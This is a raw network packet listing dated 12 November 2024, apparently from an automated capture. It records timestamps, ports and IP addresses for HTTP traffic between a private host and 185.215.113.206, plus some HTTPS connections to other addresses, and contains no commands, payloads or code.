Nov 12, 2024 08:30:35.363240004 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.363255024 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.363389015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363398075 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363447905 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.363462925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363475084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363501072 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.363524914 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.363591909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363601923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363626957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.363651037 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.363743067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363754034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363763094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363774061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363784075 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.363790989 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.363816977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.364063978 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364077091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364085913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364120960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.364145041 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.364181995 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364234924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364234924 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.364248037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364267111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.364280939 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.364439011 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364449978 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364460945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364471912 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364480972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364491940 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.364516973 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.364696026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364788055 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364797115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364806890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364819050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364830017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.364835978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.364850998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.364861965 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.365012884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.365024090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.365039110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.365050077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.365061998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.365065098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.365071058 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.365103960 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.371962070 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.371983051 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.372016907 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.372033119 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.372051001 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.372066021 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.380842924 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.380856991 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.380920887 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.380928040 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.380975962 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.381869078 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.381880999 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.381938934 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.381944895 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.381999016 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.383094072 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.383105040 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.383141994 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.383147955 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.383167982 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.383188963 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.423223019 CET	443	49848	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.423547983 CET	443	49848	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.423615932 CET	49848	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.423656940 CET	49848	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.423674107 CET	443	49848	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.423685074 CET	49848	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.423691034 CET	443	49848	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.426139116 CET	49859	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.426162958 CET	443	49859	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.426317930 CET	49859	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.426459074 CET	49859	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.426471949 CET	443	49859	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.443615913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.443646908 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.443656921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.443667889 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.443679094 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.443680048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.443702936 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.443717957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.443720102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.443758965 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.443819046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.443830967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.443840981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.443862915 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.443897963 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.443922043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.443998098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.471873045 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.472603083 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.472620010 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.473048925 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.473053932 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.478763103 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.479237080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479248047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479259968 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479295015 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.479332924 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.479365110 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.479372978 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.479388952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479399920 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479428053 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.479454041 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.479552031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479562044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479572058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479585886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479595900 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.479598045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479615927 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.479640007 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.479711056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479774952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.479899883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479911089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479922056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479933023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.479949951 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.479976892 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.480087042 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480089903 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.480094910 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.480096102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480106115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480113029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480123997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480129004 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.480173111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.480423927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480434895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480446100 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480458021 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480469942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480473995 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.480494022 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.480503082 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.480777025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480788946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480801105 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480866909 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.480866909 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.480918884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480930090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480940104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480952024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480958939 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.480964899 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480976105 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480988026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.480988979 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.480998993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.481019974 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.481036901 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.481506109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.481518030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.481528044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.481559038 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.481583118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.481683016 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.481693983 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.481703997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.481717110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.481738091 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.481762886 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.481837034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.481848955 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.481861115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.481874943 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.481892109 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.481913090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.481925011 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.482336044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.482352972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.482367039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.482379913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.482386112 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.482392073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.482398987 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.482485056 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.484213114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.484282017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.484324932 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.484361887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.484373093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.484384060 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.484395027 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.484405994 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.484416008 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.484440088 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.491538048 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.491558075 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.491600037 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.491622925 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.491636038 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.491677999 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.500549078 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.500571966 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.500797033 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.500809908 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.500930071 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.501518965 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.501532078 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.501564980 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.501573086 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:35.501591921 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.501610994 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:35.521977901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.521987915 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.522001028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.522039890 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.522058964 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.523930073 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.524358034 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.524374962 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.524902105 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.524905920 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.560866117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.560931921 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.560976028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.561017990 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.561045885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.561058998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.561070919 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.561088085 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.561116934 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.570466995 CET	443	49854	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.570825100 CET	49854	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.570837021 CET	443	49854	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.571280956 CET	49854	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:35.571285009 CET	443	49854	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:35.580964088 CET	443	49857	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.581186056 CET	49857	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:35.581206083 CET	443	49857	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.581250906 CET	443	49855	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.581316948 CET	443	49856	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.581417084 CET	49855	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:35.581434965 CET	443	49855	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.581547976 CET	49856	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:35.581554890 CET	443	49856	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.581768036 CET	443	49855	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.581926107 CET	443	49856	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.582274914 CET	443	49857	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.582345963 CET	49857	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:35.582942009 CET	49855	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:35.583015919 CET	49856	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:35.583024979 CET	443	49855	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.583077908 CET	443	49856	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.583079100 CET	49857	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:35.583146095 CET	443	49857	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.596632004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.596652985 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.596673012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.596683979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.596694946 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.596698046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.596708059 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.596713066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.596721888 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.596735001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.596745968 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.596749067 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.596776962 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.596784115 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.596844912 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.596858025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.596895933 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.596970081 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597012997 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.597043991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597058058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597068071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597079992 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597091913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597096920 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.597122908 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.597433090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597445965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597456932 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597467899 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597481012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597486019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.597507000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.597515106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.597822905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597834110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597843885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597862005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597873926 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597875118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.597883940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597892046 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.597892046 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.597898006 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597914934 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.597923040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.597951889 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597964048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597971916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.597985029 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.598010063 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.598437071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.598490953 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.598543882 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.598556042 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.598592997 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.598910093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.598921061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.598932981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.598944902 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.598954916 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.598956108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.598977089 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.599000931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.599174023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599185944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599195957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599208117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599219084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.599222898 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.599230051 CET	80	49809	185.215.113.206	192.168.2.5
